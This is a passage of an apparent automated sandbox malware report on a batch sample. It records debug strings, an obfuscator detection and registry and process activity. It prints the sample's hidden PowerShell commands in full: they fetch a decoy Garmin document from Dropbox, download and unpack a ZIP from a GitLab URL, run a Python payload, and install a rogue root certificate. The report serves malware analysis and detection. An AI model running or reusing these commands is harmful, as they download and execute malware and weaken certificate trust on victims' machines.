                  Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: powershell.exe, 0000000F.00000002.2374989163.0000027168760000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: sm.pdb source: powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb source: powershell.exe, 0000000C.00000002.2266521727.0000026A2F3B9000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: 6?ll\System.pdb% source: powershell.exe, 0000000F.00000002.2374989163.00000271687B8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbT source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\System.Management.Automation.pdbc source: powershell.exe, 00000010.00000002.2493288210.000001D5290DE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: Qib.pdb2) source: powershell.exe, 00000010.00000002.2493288210.000001D529065000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdb source: powershell.exe, 0000000F.00000002.2374989163.0000027168760000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000F.00000002.2374989163.00000271687B8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000010.00000002.2493288210.000001D5290DE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb~ source: powershell.exe, 0000000F.00000002.2377129314.0000027168A83000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2266123287.0000026A2F351000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: ystem.pdbj source: powershell.exe, 0000000C.00000002.2246646325.0000026A17158000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb] source: powershell.exe, 0000000F.00000002.2374989163.00000271687B8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000010.00000002.2493288210.000001D529020000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: mscorlib.pdb source: powershell.exe, 00000010.00000002.2493288210.000001D529065000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbvT5 source: powershell.exe, 0000000C.00000002.2266521727.0000026A2F3B9000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000C.00000002.2266521727.0000026A2F3B9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2377129314.0000027168A83000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb.com1 source: powershell.exe, 0000000F.00000002.2377129314.0000027168A83000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: *.pdbD source: powershell.exe, 0000000F.00000002.2315926744.000002714E8DA000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: ion.pdb source: powershell.exe, 0000000F.00000002.2315926744.000002714E8DA000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.IO.Compression.FileSystem.pdb source: powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: CallSite.Target.pdbile source: powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb~& source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp

                  Data Obfuscation

                  barindex
                  Yara detected Abobus Obfuscator
                  Source: Yara matchFile source: hsfgdf17.bat, type: SAMPLE
                  Suspicious powershell command line found
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00007FF848F27057 push esp; retf 12_2_00007FF848F27058
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00007FF848F200BD pushad ; iretd 12_2_00007FF848F200C1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00007FF848FF5A78 pushad ; ret 12_2_00007FF848FF5A79
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 15_2_00007FF848F47047 push esp; retf 15_2_00007FF848F47048
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 15_2_00007FF848F400BD pushad ; iretd 15_2_00007FF848F400C1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 16_2_00007FF848F300BD pushad ; iretd 16_2_00007FF848F300C1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 16_2_00007FF848F35CE7 push esp; retf 16_2_00007FF848F35CE8
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 16_2_00007FF8490023EC push 8B485F92h; iretd 16_2_00007FF8490023F1

                  Persistence and Installation Behavior

                  barindex
                  Installs new ROOT certificates
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                  Tries to download and execute files (via powershell)
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
